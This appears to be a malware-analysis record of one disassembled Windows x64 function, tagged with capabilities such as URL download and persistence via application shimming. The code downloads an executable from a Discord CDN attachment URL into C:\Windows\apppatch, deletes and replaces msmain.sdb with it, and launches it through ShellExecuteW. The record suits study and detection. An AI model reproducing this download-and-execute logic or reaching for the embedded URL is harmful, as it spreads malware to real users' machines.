Function at 0x14000d280
Capabilities:
Create process on windows
Delete file
Download url
Move file
Persist via application shimming
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x1401aa0c0]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov edx, 2
lea ecx, [rdx + 0x13]
lea r8d, [rdx - 1]
call qword [sym.imp.urlmon.dll_CoInternetSetFeatureEnabled]
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x37], xmm1
mov r8d, 0xb9
lea rdx, str.https:__cdn.discordapp.com_attachments_1205300519510351957_1227058883047194724_USBDeview.exe_ex662c4ca3is662afb23hm0059fcb1efb7dfe71114616669c57e39dedbc87211c8b043a0649d17165a1a35
lea rcx, [rbp + 0x27]
call fcn.140016040
nop
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x17], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_33
lea rdx, str.C:Windows_apppatchUSBDeview.exe
lea rcx, [rbp + 7]
call fcn.140016040
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_30
lea rdx, str.C:Windows_apppatchmsmain.sdb
lea rcx, [rbp - 0x19]
call fcn.140016040
lea rcx, [rbp - 0x19]
cmp qword [rbp - 1], 7
cmova rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ebx, ebx
test eax, eax
je 0x14000d3e4
lea r8, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova r8, qword [rbp + 7]
lea rdx, [rbp + 0x27]
cmp qword [rbp + 0x3f], 7
cmova rdx, qword [rbp + 0x27]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x14000d3db
lea rdx, [rbp - 0x19]
cmp qword [rbp - 1], 7
cmova rdx, qword [rbp - 0x19]
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x14000d3d2
lea r8, [rbp - 0x19]
cmp qword [rbp - 1], 7
cmova r8, qword [rbp - 0x19]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x14000d400
lea rdx, [0x14018acd0]
jmp 0x14000d3eb
lea rdx, [0x14018ad20]
jmp 0x14000d3eb
lea rdx, [0x14018ad70]
jmp 0x14000d3eb
lea rdx, [0x14018adc0]
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Erro
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor r8d, r8d
lea edx, [r8 + 2]
lea ecx, [rdx + 0x13]
call qword [sym.imp.urlmon.dll_CoInternetSetFeatureEnabled]
mov rdx, qword [rbp - 1]
cmp rdx, 7
jbe 0x14000d453
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d44e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d44e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011c370
movdqa xmm0, xmmword [0x140191540]
movdqu xmmword [rbp - 9], xmm0
mov word [rbp - 0x19], bx
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x14000d4a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d4a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011c370
movdqa xmm0, xmmword [0x140191540]
movdqu xmmword [rbp + 0x17], xmm0
mov word [rbp + 7], bx
mov rdx, qword [rbp + 0x3f]
cmp rdx, 7
jbe 0x14000d4fb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d4f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011c370
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14011c350
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rbp
ret